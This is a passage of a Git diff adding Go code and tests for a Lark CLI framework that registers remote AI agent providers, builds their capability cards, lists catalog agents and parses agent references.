+				t.Errorf("conformance: Identities[%d].Type should be user|bot, got %q", i, id.Type)
+			}
+		}
+		seen := make(map[string]bool, len(info.RequiredScopes))
+		for _, s := range info.RequiredScopes {
+			if seen[s] {
+				t.Errorf("conformance: RequiredScopes contains duplicate %q", s)
+			}
+			seen[s] = true
+		}
+	})
+
+	t.Run("factory", func(t *testing.T) {
+		p, err := info.Factory(agent.Deps{}, sampleAgentID)
+		if err != nil {
+			t.Fatalf("conformance: Factory must accept zero-value Deps (expected nil error), got %v", err)
+		}
+		if p == nil {
+			t.Fatal("conformance: Factory must not return a nil provider")
+		}
+		// Core fields are mandatory (the command layer dispatches them without a
+		// nil-check); Register enforces this at registration, re-assert here.
+		if p.Send == nil {
+			t.Error("conformance: Provider.Send (core) must be wired")
+		}
+		if p.GetTask == nil {
+			t.Error("conformance: Provider.GetTask (core) must be wired")
+		}
+	})
+
+	t.Run("card", func(t *testing.T) {
+		newCard := func() *agent.AgentCard {
+			t.Helper()
+			p, err := info.Factory(agent.Deps{}, sampleAgentID)
+			if err != nil {
+				t.Fatalf("conformance: Factory(zero-value Deps) returned error: %v", err)
+			}
+			card, err := agent.BuildCard(context.Background(), scheme, sampleAgentID, p)
+			if err != nil {
+				t.Fatalf("conformance: BuildCard should be available offline (expected nil error), got %v", err)
+			}
+			if card == nil {
+				t.Fatal("conformance: Card must not return nil")
+			}
+			return card
+		}
+		card := newCard()
+		if card.Provider != scheme {
+			t.Errorf("conformance: Card.Provider should be %q, got %q", scheme, card.Provider)
+		}
+		if card.AgentID != sampleAgentID {
+			t.Errorf("conformance: Card.AgentID should echo the constructor input %q, got %q", sampleAgentID, card.AgentID)
+		}
+		if card.ProviderLabel != info.Label {
+			t.Errorf("conformance: Card.ProviderLabel should equal the registered Label %q, got %q", info.Label, card.ProviderLabel)
+		}
+		if !reflect.DeepEqual(card.Identity, info.Identities) {
+			t.Errorf("conformance: Card.Identity should match the registered Identities (single source), expected %+v got %+v", info.Identities, card.Identity)
+		}
+		if card.AgentIDSource != info.AgentIDSource {
+			t.Errorf("conformance: Card.AgentIDSource should equal the registered value %q, got %q", info.AgentIDSource, card.AgentIDSource)
+		}
+		if card.Parameters == nil {
+			t.Error("conformance: Card.Parameters must not be nil (always emitted, empty is [])")
+		}
+		// Single-sourcing: two independent instances each produce a Card, and the
+		// results must DeepEqual (no hidden instance state).
+		if card2 := newCard(); !reflect.DeepEqual(card, card2) {
+			t.Errorf("conformance: Cards from two instances should DeepEqual (single source), got\n%+v\nvs\n%+v", card, card2)
+		}
+	})
+
+	if info.Kind == agent.KindCatalog {
+		t.Run("discovery", func(t *testing.T) {
+			p, err := info.Factory(agent.Deps{}, sampleAgentID)
+			if err != nil {
+				t.Fatalf("conformance: Factory(zero-value Deps) returned error: %v", err)
+			}
+			if p.ListAgents == nil {
+				t.Fatal("conformance: catalog-type provider must wire ListAgents")
+			}
+			list, err := p.ListAgents(context.Background())
+			if err != nil {
+				t.Fatalf("conformance: catalog-type ListAgents should be available offline (expected nil error), got %v", err)
+			}
+			wantRef := scheme + ":" + sampleAgentID
+			found := false
+			for i, a := range list {
+				r, err := agent.ParseRef(a.AgentRef)
+				if err != nil {
+					t.Errorf("conformance: ListAgents[%d].AgentRef %q should be parseable by agent.ParseRef: %v", i, a.AgentRef, err)
+					continue
+				}
+				if r.Scheme != scheme {
+					t.Errorf("conformance: ListAgents[%d].AgentRef %q scheme should be %q, got %q", i, a.AgentRef, scheme, r.Scheme)
+				}
+				if a.Name == "" {
+					t.Errorf("conformance: ListAgents[%d] (%s) Name must not be empty", i, a.AgentRef)
+				}
+				if a.AgentRef == wantRef {
+					found = true
+				}
+			}
+			if !found {
+				t.Errorf("conformance: sampleAgentID should appear in the enumeration (expected to contain %q), got %+v", wantRef, list)
+			}
+			list2, err := p.ListAgents(context.Background())
+			if err != nil {
+				t.Fatalf("conformance: second ListAgents returned error: %v", err)
+			}
+			if !reflect.DeepEqual(list, list2) {
+				t.Errorf("conformance: two consecutive ListAgents results should DeepEqual (stable enumeration), got\n%+v\nvs\n%+v", list, list2)
+			}
+		})
+	}
+}

internal/agent/card.go

@@ -0,0 +1,155 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import "context"
+
+// capability key constants (the JSON key names in capabilities, also the
+// capability identifiers used by Supports / capabilityError). Only capabilities
+// that "can change the AI's next command line and are currently deliverable" are
+// exposed.
+const (
+	CapTaskGet          = "task_get"
+	CapTaskList         = "task_list"
+	CapTaskCancel       = "task_cancel"
+	CapInputRequired    = "input_required"
+	CapFileInput        = "file_input"
+	CapArtifactDownload = "artifact_download"
+	CapMultiTurn        = "multi_turn"
+)
+
+// Capabilities is the closed set of capabilities: making it a struct means an
+// omitted field is an explicit false and a typo is a compile error. Fields are
+// ordered by json tag alphabetically to keep the key order identical to the old
+// map serialization.
+type Capabilities struct {
+	ArtifactDownload bool `json:"artifact_download"`
+	FileInput        bool `json:"file_input"`
+	InputRequired    bool `json:"input_required"`
+	MultiTurn        bool `json:"multi_turn"`
+	TaskCancel       bool `json:"task_cancel"`
+	TaskGet          bool `json:"task_get"`
+	TaskList         bool `json:"task_list"`
+}
+
+// AgentCard is a remote agent's capability card (schema v2): provider metadata,
+// the supported capability matrix, identity precondition declarations, and
+// parameter / skill declarations (scopes are not in the card; they are internal
+// registration data for preflight only).
+type AgentCard struct {
+	Provider      string         `json:"provider"`
+	ProviderLabel string         `json:"provider_label"`
+	AgentID       string         `json:"agent_id"`
+	Name          string         `json:"name,omitempty"` // dynamic card only
+	Description   string         `json:"description,omitempty"`
+	Capabilities  Capabilities   `json:"capabilities"`
+	Identity      []IdentitySpec `json:"identity"`
+	Parameters    []CardParam    `json:"parameters"` // always emitted (empty is [])
+	AgentIDSource string         `json:"agent_id_source"`
+	Skills        []CardSkill    `json:"skills,omitempty"`
+}
+
+// NewCard fills in all fields known at registration time from the registration
+// info (Provider/ProviderLabel/Identity/AgentIDSource/empty Parameters); the
+// integrator only supplies the per-agent part (Capabilities, plus Name/
+// Description for catalog types). An unregistered scheme is a programming error
+// (a provider should only pass its own scheme), so it panics fail-fast.
+func NewCard(scheme, agentID string) *AgentCard {
+	info, ok := Info(scheme)
+	if !ok {
+		panic("agent: NewCard for unregistered scheme: " + scheme)
+	}
+	return &AgentCard{
+		Provider:      scheme,
+		ProviderLabel: info.Label,
+		AgentID:       agentID,
+		Identity:      info.Identities,
+		Parameters:    []CardParam{},
+		AgentIDSource: info.AgentIDSource,
+	}
+}
+
+// DeriveCapabilities computes the capability matrix from which Provider fields
+// are wired — the single source of truth. The method-backed capabilities are
+// derived from the corresponding func field being non-nil (implement it =
+// support it); file_input / input_required are behavioral flags with no backing
+// method and are read straight from the struct. Send/GetTask are mandatory
+// (Register enforces), so task_get is always true.
+func DeriveCapabilities(p *Provider) Capabilities {
+	return Capabilities{
+		TaskGet:          p.GetTask != nil,
+		TaskList:         p.ListTasks != nil,
+		TaskCancel:       p.CancelTask != nil,
+		ArtifactDownload: p.DownloadArtifact != nil,
+		MultiTurn:        p.ListContexts != nil,
+		FileInput:        p.FileInput,
+		InputRequired:    p.InputRequired,
+	}
+}
+
+// BuildCard synthesizes an agent's full Card: NewCard fills the
+// registration-time fields, DeriveCapabilities fills the matrix from the wired
+// fields, and Describe (if the provider set it) supplies the per-agent
+// Name/Description/Parameters/Skills and validates the agent_id. A provider
+// therefore never assembles its own card or declares its own capability bools.
+func BuildCard(ctx context.Context, scheme, agentID string, p *Provider) (*AgentCard, error) {
+	card := NewCard(scheme, agentID)
+	card.Capabilities = DeriveCapabilities(p)
+	if p.Describe != nil {
+		info, err := p.Describe(ctx)
+		if err != nil {
+			return nil, err
+		}
+		if info != nil {
+			card.Name = info.Name
+			card.Description = info.Description
+			if info.Parameters != nil {
+				card.Parameters = info.Parameters
+			}
+			card.Skills = info.Skills
+		}
+	}
+	return card, nil
+}
+
+// CardParam is one input parameter declared by a Card (used for --param validation).
+type CardParam struct {
+	Name     string `json:"name"`
+	Type     string `json:"type"`
+	Required bool   `json:"required"`
+	Desc     string `json:"desc,omitempty"`
+}
+
+// CardSkill is one skill / scenario declared by a Card (with example usages).
+type CardSkill struct {
+	ID       string   `json:"id"`
+	Name     string   `json:"name,omitempty"`
+	Examples []string `json:"examples,omitempty"`
+}
+
+// Supports reports whether a capability is declared as supported (an unknown key
+// or a nil card is treated as unsupported).
+func (c *AgentCard) Supports(cap string) bool {
+	if c == nil {
+		return false
+	}
+	switch cap {
+	case CapArtifactDownload:
+		return c.Capabilities.ArtifactDownload
+	case CapFileInput:
+		return c.Capabilities.FileInput
+	case CapInputRequired:
+		return c.Capabilities.InputRequired
+	case CapMultiTurn:
+		return c.Capabilities.MultiTurn
+	case CapTaskCancel:
+		return c.Capabilities.TaskCancel
+	case CapTaskGet:
+		return c.Capabilities.TaskGet
+	case CapTaskList:
+		return c.Capabilities.TaskList
+	default:
+		return false
+	}
+}

internal/agent/card_test.go

@@ -0,0 +1,65 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import "testing"
+
+func TestCardSupports(t *testing.T) {
+	c := &AgentCard{Capabilities: Capabilities{TaskCancel: false, MultiTurn: true}}
+	if c.Supports(CapTaskCancel) {
+		t.Error("task_cancel should not be supported")
+	}
+	if !c.Supports(CapMultiTurn) {
+		t.Error("multi_turn should be supported")
+	}
+	if c.Supports("nonexistent") {
+		t.Error("unknown capability should be treated as unsupported")
+	}
+	// nil guard branch: a nil receiver is treated as unsupported; a zero-value Capabilities is all false.
+	var nilCard *AgentCard
+	if nilCard.Supports(CapMultiTurn) {
+		t.Error("nil card should be treated as unsupported")
+	}
+	if (&AgentCard{}).Supports(CapMultiTurn) {
+		t.Error("zero-value Capabilities should be treated as unsupported")
+	}
+	// Each capability constant must map to its own struct field (the switch has no gaps or mismatches).
+	all := &AgentCard{Capabilities: Capabilities{
+		ArtifactDownload: true, FileInput: true, InputRequired: true,
+		MultiTurn: true, TaskCancel: true, TaskGet: true, TaskList: true,
+	}}
+	for _, k := range []string{
+		CapArtifactDownload, CapFileInput, CapInputRequired,
+		CapMultiTurn, CapTaskCancel, CapTaskGet, CapTaskList,
+	} {
+		if !all.Supports(k) {
+			t.Errorf("Supports(%q) should be true when all Capabilities are true", k)
+		}
+	}
+}
+
+// TestNewCardFillsRegistrationFields pins that NewCard pre-fills every
+// registration-known field and panics on an unregistered scheme.
+func TestNewCardFillsRegistrationFields(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	info := testInfo("nc", okFactory())
+	info.Identities = []IdentitySpec{{Type: IdentityBot, Precondition: "需要白名单"}}
+	Register("nc", info)
+
+	card := NewCard("nc", "agt_1")
+	if card.Provider != "nc" || card.AgentID != "agt_1" {
+		t.Fatalf("provider/agent_id: %+v", card)
+	}
+	if card.ProviderLabel != info.Label || card.AgentIDSource != info.AgentIDSource {
+		t.Fatalf("registration metadata should be pre-filled: %+v", card)
+	}
+	if len(card.Identity) != 1 || card.Identity[0].Type != IdentityBot {
+		t.Fatalf("identity should come from registration info: %+v", card.Identity)
+	}
+	if card.Parameters == nil || len(card.Parameters) != 0 {
+		t.Fatalf("parameters should be empty but non-nil (always emit []): %#v", card.Parameters)
+	}
+
+	mustPanic(t, "unregistered scheme", func() { NewCard("ghost", "agt_1") })
+}

internal/agent/catalog.go

@@ -0,0 +1,90 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"context"
+	"sort"
+
+	"github.com/larksuite/cli/errs"
+)
+
+// CatalogEntry is the provider-neutral description of one predefined agent in a
+// catalog-type provider. It holds only descriptive fields the framework can
+// consume (enumeration / Card metadata); capabilities are NOT declared here —
+// they are derived from which Provider func fields the integrator's Factory
+// wires for this agent (see agent/example). A provider's private business
+// fields (such as the execution backend it points to) are maintained alongside
+// in the integrator's own package and do not enter framework types.
+type CatalogEntry struct {
+	ID          string
+	Name        string
+	Description string
+}
+
+// StaticCatalog carries the common boilerplate of a catalog-type provider:
+// catalog enumeration (the ListAgents field), per-agent Card metadata (Describe
+// returns the entry's Name/Description), and a typed validation error for
+// unknown ids. Capabilities are derived by the framework from the Provider
+// fields the integrator's Factory wires, not stored here. Business differences
+// (such as the execution backend) are composed by the provider itself on the
+// outer layer. It is read-only after construction and safe for concurrent use.
+type StaticCatalog struct {
+	scheme  string
+	entries map[string]CatalogEntry
+}
+
+// NewStaticCatalog constructs a static catalog. A duplicate entry ID is an
+// integrator coding error and panics fail-fast (aligned with the Register convention).
+func NewStaticCatalog(scheme string, entries []CatalogEntry) *StaticCatalog {
+	m := make(map[string]CatalogEntry, len(entries))
+	for _, e := range entries {
+		if _, dup := m[e.ID]; dup {
+			panic("agent: StaticCatalog duplicate entry ID for scheme " + scheme + ": " + e.ID)
+		}
+		m[e.ID] = e
+	}
+	return &StaticCatalog{scheme: scheme, entries: m}
+}
+
+// ListAgents enumerates the catalog (Discoverer semantics), sorted by AgentRef
+// to guarantee stable output.
+func (c *StaticCatalog) ListAgents(ctx context.Context) ([]AgentSummary, error) {
+	out := make([]AgentSummary, 0, len(c.entries))
+	for _, e := range c.entries {
+		out = append(out, AgentSummary{
+			AgentRef:    c.scheme + ":" + e.ID,
+			Name:        e.Name,
+			Description: e.Description,
+		})
+	}
+	sort.Slice(out, func(i, j int) bool { return out[i].AgentRef < out[j].AgentRef })
+	return out, nil
+}
+
+// Describe returns the per-agent Card metadata (Name/Description) for agentID,
+// suitable as a Provider.Describe implementation: it validates the id (an
+// unknown id returns the typed error from Lookup) and leaves capability
+// derivation to the framework. Parameters/Skills are left empty; a provider
+// with declared parameters composes them on top.
+func (c *StaticCatalog) Describe(agentID string) (*CardInfo, error) {
+	e, err := c.Lookup(agentID)
+	if err != nil {
+		return nil, err
+	}
+	return &CardInfo{Name: e.Name, Description: e.Description}, nil
+}
+
+// Lookup fetches a catalog entry by id. An unknown id returns a typed
+// validation/invalid_argument error (exit 2) whose hint points to
+// `agent list <scheme>`, so a provider need not define its own unknown-agent error.
+func (c *StaticCatalog) Lookup(agentID string) (CatalogEntry, error) {
+	e, ok := c.entries[agentID]
+	if !ok {
+		return CatalogEntry{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 %s agent '%s'", c.scheme, agentID).
+			WithHint("运行 lark-cli agent list %s 查看可用 agent", c.scheme)
+	}
+	return e, nil
+}

internal/agent/catalog_test.go

@@ -0,0 +1,99 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"context"
+	"errors"
+	"reflect"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+)
+
+// testCatalogEntries is declared out of order to verify ListAgents sorting stability.
+func testCatalogEntries() []CatalogEntry {
+	return []CatalogEntry{
+		{ID: "zeta", Name: "Zeta 助手", Description: "z desc"},
+		{ID: "alpha", Name: "Alpha 助手", Description: "a desc"},
+	}
+}
+
+// TestStaticCatalogListAgentsSorted asserts the enumeration is sorted by AgentRef
+// and that two consecutive results are DeepEqual (stable sort, the same contract
+// asserted by agenttest discovery).
+func TestStaticCatalogListAgentsSorted(t *testing.T) {
+	c := NewStaticCatalog("cattest", testCatalogEntries())
+	got, err := c.ListAgents(context.Background())
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := []AgentSummary{
+		{AgentRef: "cattest:alpha", Name: "Alpha 助手", Description: "a desc"},
+		{AgentRef: "cattest:zeta", Name: "Zeta 助手", Description: "z desc"},
+	}
+	if !reflect.DeepEqual(got, want) {
+		t.Fatalf("ListAgents should be sorted by AgentRef, want %+v got %+v", want, got)
+	}
+	got2, err := c.ListAgents(context.Background())
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !reflect.DeepEqual(got, got2) {
+		t.Fatalf("two consecutive ListAgents calls should be DeepEqual, got\n%+v\nvs\n%+v", got, got2)
+	}
+}
+
+// TestStaticCatalogDescribe asserts Describe returns the entry's per-agent
+// Name/Description (the framework fills registration fields and derives
+// capabilities from the wired Provider fields, so those are not Describe's job).
+func TestStaticCatalogDescribe(t *testing.T) {
+	c := NewStaticCatalog("cattest", testCatalogEntries())
+	info, err := c.Describe("alpha")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if info.Name != "Alpha 助手" || info.Description != "a desc" {
+		t.Fatalf("Describe should return the entry Name/Description, got %+v", info)
+	}
+	// Describe carries no capabilities/parameters — those are the framework's job.
+	if len(info.Parameters) != 0 || len(info.Skills) != 0 {
+		t.Fatalf("Describe should not populate Parameters/Skills, got %+v", info)
+	}
+}
+
+// TestStaticCatalogUnknownID asserts Lookup / Card return a typed
+// validation/invalid_argument error for an unknown id (exit 2 rather than
+// internal/exit 5), with the hint pointing to `agent list <scheme>`.
+func TestStaticCatalogUnknownID(t *testing.T) {
+	c := NewStaticCatalog("cattest", testCatalogEntries())
+	_, err := c.Lookup("nonexistent")
+	if err == nil {
+		t.Fatal("unknown id should return an error")
+	}
+	var ve *errs.ValidationError
+	if !errors.As(err, &ve) {
+		t.Fatalf("unknown id should be an *errs.ValidationError, got %T: %v", err, err)
+	}
+	if ve.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %q", ve.Subtype)
+	}
+	if want := "未知的 cattest agent 'nonexistent'"; ve.Message != want {
+		t.Fatalf("message should be %q, got %q", want, ve.Message)
+	}
+	if want := "运行 lark-cli agent list cattest 查看可用 agent"; ve.Hint != want {
+		t.Fatalf("hint should be %q, got %q", want, ve.Hint)
+	}
+	// Describe goes through the same Lookup path.
+	if _, err := c.Describe("nonexistent"); !errors.As(err, &ve) {
+		t.Fatalf("Describe with an unknown id should return the same typed error, got %v", err)
+	}
+}
+
+// TestStaticCatalogDuplicateIDPanic asserts a duplicate entry ID triggers a
+// fail-fast panic (aligned with the Register convention).
+func TestStaticCatalogDuplicateIDPanic(t *testing.T) {
+	entries := []CatalogEntry{{ID: "a"}, {ID: "a"}}
+	mustPanic(t, "duplicate entry ID", func() { NewStaticCatalog("cattest", entries) })
+}

internal/agent/contract.go

@@ -0,0 +1,94 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+// AgentTask is the unified structure that task-family commands put into output.Envelope.Data.
+type AgentTask struct {
+	TaskID        string         `json:"task_id"`
+	ContextID     string         `json:"context_id,omitempty"`
+	State         TaskState      `json:"state"`
+	IsTerminal    bool           `json:"is_terminal"`
+	Messages      []Message      `json:"messages,omitempty"`
+	Artifacts     []Artifact     `json:"artifacts,omitempty"`
+	InputRequired *InputRequired `json:"input_required,omitempty"`
+}
+
+// Message is one turn of an agent or user message, composed of several Parts.
+type Message struct {
+	Role  string `json:"role"` // "agent" | "user"
+	Parts []Part `json:"parts"`
+}
+
+// Part is one fragment of a message: text, file, or structured data.
+type Part struct {
+	Type string `json:"type"` // "text" | "file" | "data"
+	Text string `json:"text,omitempty"`
+	// File/Data pass-through: file uses URL/Name, data uses Data.
+	Name string      `json:"name,omitempty"`
+	URL  string      `json:"url,omitempty"`
+	Data interface{} `json:"data,omitempty"`
+}
+
+// Artifact is one artifact produced by a task (file / inline text), downloadable
+// via URL.
+//
+// Its fields align with A2A's Artifact/FilePart, but only what a provider can
+// truly deliver is populated (e.g. example only provides ID + Kind — the
+// coarse-grained kind at the GetTask stage — plus Name/Mime at the download
+// stage). Mime/Description/Size are placeholders under A2A semantics; if a
+// provider does not yet supply them they are omitted via omitempty and lit up
+// only once the provider can fill them, rather than creating empty shell fields
+// that cannot be filled.
+type Artifact struct {
+	ID          string `json:"id"`
+	Kind        string `json:"kind,omitempty"` // coarse-grained kind (image/file/...), a type hint before download
+	Name        string `json:"name,omitempty"` // file name (with extension), helps choose the -o save name
+	Mime        string `json:"mime,omitempty"` // content type (image/png…), empty if the provider does not supply it
+	Description string `json:"description,omitempty"`
+	Size        int64  `json:"size,omitempty"` // byte count, 0 if the provider does not supply it
+	URL         string `json:"url,omitempty"`
+	Text        string `json:"text,omitempty"`
+}
+
+// InputRequired describes the input a task requests from the user while in the
+// input_required state.
+type InputRequired struct {
+	Prompt  string   `json:"prompt"`
+	Options []string `json:"options,omitempty"`
+}
+
+// TaskSummary is a single task summary in the task list output.
+type TaskSummary struct {
+	TaskID     string    `json:"task_id"`
+	ContextID  string    `json:"context_id,omitempty"`
+	State      TaskState `json:"state"`
+	IsTerminal bool      `json:"is_terminal"`
+}
+
+// ContextSummary is a single context summary in the context list output.
+type ContextSummary struct {
+	ContextID string `json:"context_id"`
+	CreatedAt string `json:"created_at,omitempty"`
+	Title     string `json:"title,omitempty"`
+}
+
+// ContextDetail is the context detail in the context get output (including its task list).
+type ContextDetail struct {
+	ContextID string        `json:"context_id"`
+	CreatedAt string        `json:"created_at,omitempty"`
+	Title     string        `json:"title,omitempty"`
+	Tasks     []TaskSummary `json:"tasks,omitempty"`
+}
+
+// ArtifactData is the return value of DownloadArtifact: the URL type gives URL,
+// the inline type gives Bytes. Name is the server-suggested file name (echoed
+// back only as a suggested_name reference for the command layer); it is
+// untrusted input and must never participate in constructing the local save
+// path — the save path is always determined by -o/SafeOutputPath.
+type ArtifactData struct {
+	Name  string
+	Mime  string
+	URL   string
+	Bytes []byte
+}

internal/agent/contract_test.go

@@ -0,0 +1,28 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+func TestAgentTaskJSON(t *testing.T) {
+	at := AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: StateInputRequired,
+		IsTerminal:    false,
+		InputRequired: &InputRequired{Prompt: "按大区还是品类拆?", Options: []string{"region", "category"}}}
+	b, _ := json.Marshal(at)
+	var m map[string]interface{}
+	_ = json.Unmarshal(b, &m)
+	if m["state"] != "input_required" {
+		t.Errorf("state=%v", m["state"])
+	}
+	if _, ok := m["input_required"]; !ok {
+		t.Error("input_required should appear in the input_required state")
+	}
+	// unset artifacts should be omitted via omitempty
+	if _, ok := m["artifacts"]; ok {
+		t.Error("artifacts should be omitted via omitempty")
+	}
+}

internal/agent/provider.go

@@ -0,0 +1,89 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import "context"
+
+// SendInput is the input to send (Params has already passed Card validation).
+type SendInput struct {
+	Text      string
+	Files     []string
+	Params    map[string]string
+	ContextID string
+	TaskID    string
+}
+
+// CardInfo is the per-agent descriptive metadata a provider supplies for its
+// Card (everything the framework cannot fill from registration data or derive
+// from capabilities): the display Name/Description, declared input Parameters,
+// and Skills. It is returned by Provider.Describe.
+type CardInfo struct {
+	Name        string
+	Description string
+	Parameters  []CardParam
+	Skills      []CardSkill
+}
+
+// Provider is a remote agent adapter: it translates the unified commands into a
+// specific vendor's OAPI. It is a struct of function fields rather than a fat
+// interface, mirroring the events KeyDefinition / shortcuts Shortcut convention:
+// a provider fills only the capabilities it supports, and a nil optional field
+// means "unsupported" — the command layer gates on it and returns a unified
+// unsupported_capability error before any network access, so a provider never
+// writes capability-refusal code itself. The Card capability matrix is derived
+// by the framework from which fields are non-nil (see BuildCard), so declaration
+// and behavior are single-sourced and cannot drift.
+//
+// Because a Provider is constructed per (deps, agentID) by its Factory, a
+// catalog provider whose agents differ in capability wires different fields per
+// agentID (see agent/example) — capability is expressed as code, not a
+// hand-maintained bool matrix.
+type Provider struct {
+	// ── Core (Register validates both non-nil for every provider) ──
+
+	// Send sends one message, starting a new task or continuing an existing one.
+	Send func(ctx context.Context, in SendInput) (*AgentTask, error)
+	// GetTask queries a single task's state and artifacts.
+	GetTask func(ctx context.Context, taskID string) (*AgentTask, error)
+
+	// ── Optional capabilities (nil = unsupported; framework gates) ──
+
+	// ListTasks lists tasks, optionally filtered by contextID (empty = no filter).
+	// nil ⇒ card task_list=false.
+	ListTasks func(ctx context.Context, contextID string) ([]TaskSummary, error)
+	// CancelTask cancels (interrupts) a task. nil ⇒ card task_cancel=false.
+	CancelTask func(ctx context.Context, taskID string) error
+	// ListContexts lists multi-turn contexts. nil ⇒ card multi_turn=false (the
+	// multi_turn capability is derived from this, the enumeration entry point).
+	ListContexts func(ctx context.Context) ([]ContextSummary, error)
+	// GetContext returns a single context's detail. nil ⇒ context get unsupported.
+	GetContext func(ctx context.Context, ctxID string) (*ContextDetail, error)
+	// DeleteContext deletes a context (destructive). nil ⇒ context delete unsupported.
+	DeleteContext func(ctx context.Context, ctxID string) error
+	// DownloadArtifact fetches artifact data: the URL type returns URL, the inline
+	// type returns Bytes. nil ⇒ card artifact_download=false.
+	DownloadArtifact func(ctx context.Context, taskID, artifactID string) (*ArtifactData, error)
+	// ListAgents enumerates the provider's own agents (catalog discovery). nil ⇒
+	// `agent list <scheme>` reports the provider is not enumerable. A KindCatalog
+	// provider must wire it (asserted at Register time).
+	ListAgents func(ctx context.Context) ([]AgentSummary, error)
+
+	// ── Optional descriptive metadata ──
+
+	// Describe supplies the per-agent Card metadata (Name/Description/Parameters/
+	// Skills) and is the place to validate an unknown agent_id (return a typed
+	// error). nil ⇒ the card carries only registration fields + derived
+	// capabilities. Called at card-display time (may hit the network for an
+	// instance provider that fetches its card remotely).
+	Describe func(ctx context.Context) (*CardInfo, error)
+
+	// ── Behavioral flags (not derivable from method presence) ──
+
+	// FileInput reports whether Send accepts SendInput.Files (drives card
+	// file_input and the --file off-machine-upload confirmation gate).
+	FileInput bool
+	// InputRequired reports whether the agent may pause a task in the
+	// input_required state awaiting more input (drives card input_required).
+	InputRequired bool
+}

internal/agent/ref.go

@@ -0,0 +1,29 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"errors"
+	"strings"
+)
+
+// ErrInvalidRef is the sentinel error for a malformed agent_ref (wrapped into a
+// validation error by the caller).
+var ErrInvalidRef = errors.New("agent_ref 格式应为 <provider>:<agent_id>")
+
+// Ref is the identifier addressing a remote agent: <scheme>:<agent_id>, e.g. example:echo.
+type Ref struct {
+	Scheme  string
+	AgentID string
+}
+
+// ParseRef parses a ref string. On a malformed format it returns ErrInvalidRef
+// (wrapped into a validation error by the caller).
+func ParseRef(s string) (Ref, error) {
+	parts := strings.SplitN(s, ":", 2)
+	if len(parts) != 2 || parts[0] == "" || parts[1] == "" || strings.Contains(parts[1], ":") {
+		return Ref{}, ErrInvalidRef
+	}
+	return Ref{Scheme: parts[0], AgentID: parts[1]}, nil
+}

internal/agent/ref_test.go

@@ -0,0 +1,24 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"errors"
+	"testing"
+)
+
+func TestParseRef(t *testing.T) {
+	r, err := ParseRef("example:agt_xxx")
+	if err != nil || r.Scheme != "example" || r.AgentID != "agt_xxx" {
+		t.Fatalf("got %+v err=%v", r, err)
+	}
+}
+
+func TestParseRefErrors(t *testing.T) {
+	for _, s := range []string{"", "example", "example:", ":agt", "example:agt:extra"} {
+		if _, err := ParseRef(s); !errors.Is(err, ErrInvalidRef) {
+			t.Errorf("ParseRef(%q) should return ErrInvalidRef, got err=%v", s, err)
+		}
+	}
+}

internal/agent/registry.go

@@ -0,0 +1,182 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"fmt"
+	"sort"
+	"strings"
+
+	"github.com/larksuite/cli/internal/client"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// Deps are the dependencies a provider factory needs (injected by the command
+// layer to avoid internal/agent depending on cmd).
+type Deps struct {
+	Client *client.APIClient
+	As     core.Identity
+}
+
+// Factory constructs a Provider from an agentID plus dependencies.
+type Factory func(deps Deps, agentID string) (*Provider, error)
+
+// ProviderKind is the closed set of provider forms (validated at Register time
+// to guard against cast typos).
+type ProviderKind string
+
+const (
+	// KindCatalog is the catalog type: the full agent set is known at
+	// registration time, and it must wire Provider.ListAgents.
+	KindCatalog ProviderKind = "catalog"
+	// KindInstance is the instance type: agents are created by users on the
+	// platform and cannot be enumerated by the CLI in advance.
+	KindInstance ProviderKind = "instance"
+)
+
+// ProviderInfo is a provider's registration contract: metadata beyond Factory
+// consumed by platform capabilities such as `agent list`, card synthesis, and
+// scope preflight. Everything except RequiredScopes is required (Register
+// validates fail-fast).
+type ProviderInfo struct {
+	// Factory constructs the Provider for this scheme. Factory must accept
+	// zero-value Deps and have no side effects during construction — this
+	// contract is enforced at registration time by Register's zero-value Deps
+	// probe (a violation panics), and agent list also constructs a probe
+	// instance with empty Deps to read the ListAgents capability
+	// (cmd/agent/list.go probeDiscoverer). Because the probe passes zero Deps and
+	// empty agentID, capability wiring must not depend on either.
+	Factory Factory
+	// Label is the user-facing provider name.
+	Label string
+	// AgentRefFormat is the written format of agent_ref, e.g. "example:<agent_id>";
+	// it must be prefixed with "<scheme>:" (validated by Register).
+	AgentRefFormat string
+	// AgentIDSource tells the user where to obtain the agent_id (key information
+	// for AI-guided onboarding).
+	AgentIDSource string
+	// Kind is the provider form: KindCatalog (catalog type) or KindInstance
+	// (instance type). Catalog types must wire Provider.ListAgents (asserted at
+	// Register time).
+	Kind ProviderKind
+	// RequiredScopes is the full (flat) set of scopes needed by any real API
+	// call this provider makes; preflight is all-or-nothing.
+	RequiredScopes []string
+	// Identities declares the supported calling identities and their
+	// preconditions; non-empty and Type ∈ {user, bot} (validated by Register).
+	Identities []IdentitySpec
+}
+
+var providerRegistry = map[string]ProviderInfo{}
+
+// Register is called by each adapter package in its init() to register itself
